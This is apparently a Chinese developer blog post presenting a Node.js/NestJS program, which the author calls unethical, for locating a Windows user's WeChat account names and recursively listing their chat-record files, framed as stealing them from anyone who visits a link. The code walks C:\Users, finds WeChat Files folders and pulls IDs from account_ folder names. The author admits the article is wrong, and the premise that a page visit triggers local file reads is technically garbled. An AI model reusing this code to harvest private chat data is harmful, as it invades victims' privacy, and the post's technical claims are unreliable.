当访问我页面的时候,我怎么把你的微信号和聊天记录文件拿走

文章有误,修改中,不用看了

大家好,又是没活干的一天,今天用nestjs写一个不道德的程序,请记住,不道德

刚刚构思的时候感觉半个小时就写完了,真正开始后还是用了几个小时的。就是当你访问我的链接的的时候,我怎么拿到你的微信名,和微信聊天文件

效果如下:

其实说起来思路也简单,就是一路排除各种文件夹,最后定位到微信存放信息所在的文件夹,只支持PC 不过还是有一些小的知识点的

获取Pc用户名

就是这个C:\Users

首先从C:\Users下获取所有文件夹,然后过滤掉不符合条件的

ini 复制代码
 const files = fs.readdirSync(usersPath);
      const users = files.filter((file) => {
        const filePath = `${usersPath}/${file}`;
        const stats = fs.statSync(filePath);
        const excludedFolders = [
          'Default',
          'All Users',
          'Default User',
          'Public',
        ];
        // stats.isDirectory() 判断给定路径是否是一个目录
        return (
          stats.isDirectory() &&
          !file.startsWith('.') &&
          !excludedFolders.includes(file)
        );
      });
  • stats.isDirectory():判断给定路径是否是一个目录,即判断是否为文件夹。
  • !file.startsWith('.'):排除以点开头的文件或文件夹,通常是隐藏文件或文件夹。
  • !excludedFolders.includes(file):排除excludedFolders数组中包含的文件夹名称。

确定WeChat Files的路径

大概找到Pc的用户名(数组)之后,再进一步确定当前用户的文件夹下是否有WeChat Files路径 这个方法会返回包含WeChat Files的路径

javascript 复制代码
function checkFolderPath(userFolder) {
  const folderPath = `C:/Users/${userFolder}/Documents/WeChat Files`;

  try {
    fs.accessSync(folderPath, fs.constants.R_OK);
    return folderPath;
  } catch (err) {
    return null;
  }
}

获取当前电脑(用户)下所有登录过的微信路径

因为当前电脑如果登录过多个微信的话,路径是这样的

lua 复制代码
WeChat Files
     |-weixin1
     |-weixin2
     |-common
     |--

所有我们需要获取到可能是用户路径的路径,那就找用户路径的不同吧,那就是用户路径下会有一个account_开头的文件夹,而后面的字符串就是你的微信名了,知道怎么搞,代码就好写了

首先排除掉肯定不是用户路径的文件夹

javascript 复制代码
 const folders = fs.readdirSync(folderPath, { withFileTypes: true });
 
 folders
    .filter(
      (folder) => folder.isDirectory() && !notFolders.includes(folder.name),
    )
    .map((folder) => `${folderPath}/${folder.name}`);
  1. 首先使用使用fs.readdirSync()方法同步地读取指定路径folderPath下的文件和文件夹列表
  2. 然后过滤掉不是文件夹和不可能是用户路径的路径
  3. 最后返回完整路径

获取微信名

到上一步返回路径中文件夹里不包含account_的文件夹,然后截取account_后的字符

ini 复制代码
function getWeiName(folderPath) {
  const folders = fs.readdirSync(folderPath, { withFileTypes: true });
  let str = '';
  folders.forEach((folder) => {
    if (folder.name.includes('account_')) {
      str = folder.name.substring(8);
    }
  });
  return str;
}

这样就获取到了所有的微信名

获取聊天记录的文件

这个很简单,写个递归,把文件夹里的文件存起来返回就行了

ini 复制代码
function getAllFilesInDir(dirPath) {
  const filesList = [];

  function walkDir(currentPath) {
    const files = fs.readdirSync(currentPath);
    for (const file of files) {
      const filePath = path.join(currentPath, file);
      const stats = fs.statSync(filePath);
      if (stats.isFile()) {
        filesList.push(filePath);
      } else if (stats.isDirectory()) {
        walkDir(filePath);
      }
    }
  }

  walkDir(dirPath);
  return filesList;
}

几个API简单介绍下

  • stats.isFile()方法返回true,表示当前项是一个文件
  • stats.isDirectory()方法返回true,表示当前项是一个子目录,递归调用walkDir函数
  • path.join()方法将其路径与当前目录路径拼接,得到完整的文件或子目录路径filePath

到这基本上就完成了,代码使用了同步的文件系统操作,如fs.readdirSync()fs.statSync(),如果在处理大量文件或目录时,可能会导致代码执行阻塞,这个就是玩玩而已 写到这里才感觉,隐私原来这么容易获取,全靠道德约束啊

源码地址:wangshaojie/weixin: 获取微信用户名和聊天记录里的文件 (github.com)

相关推荐
红尘散仙5 小时前
我把终端小说阅读器接上了 AI Agent:TRNovel 现在能用 skill 生成书源了
人工智能·后端·rust
卷毛的技术笔记7 小时前
告别硬编码!Spring AI Alibaba 实现 AI Agent 智能工具调用(Tool Calling)
java·人工智能·后端·python·spring·ai编程
会编程的土豆7 小时前
Go 语言反射(Reflection)详解
开发语言·后端·golang
喵个咪7 小时前
GoWind Toolkit Go后端代码生成 完整全流程实战
后端·go·orm
basketball6168 小时前
Go 语言从入门到进阶:4. 数组和MAP使用方法总结
开发语言·后端·golang
qq_2518364578 小时前
SpringBoot+Vue 共享电池柜管理系统 完整实现 前后端分离项目实战 完整代码
vue.js·spring boot·后端
zhangxingchao8 小时前
AI 大模型核心六:量化、Workflow 与 Agent、多轮 RAG
前端·人工智能·后端
IT_陈寒9 小时前
Vite打包时遇到的坑,原来问题出在这里
前端·人工智能·后端
卷帘依旧10 小时前
v8引擎和libuv的关系
node.js
ayqy贾杰10 小时前
基层管理的三板斧,在AI时代行不通了
前端·后端·团队管理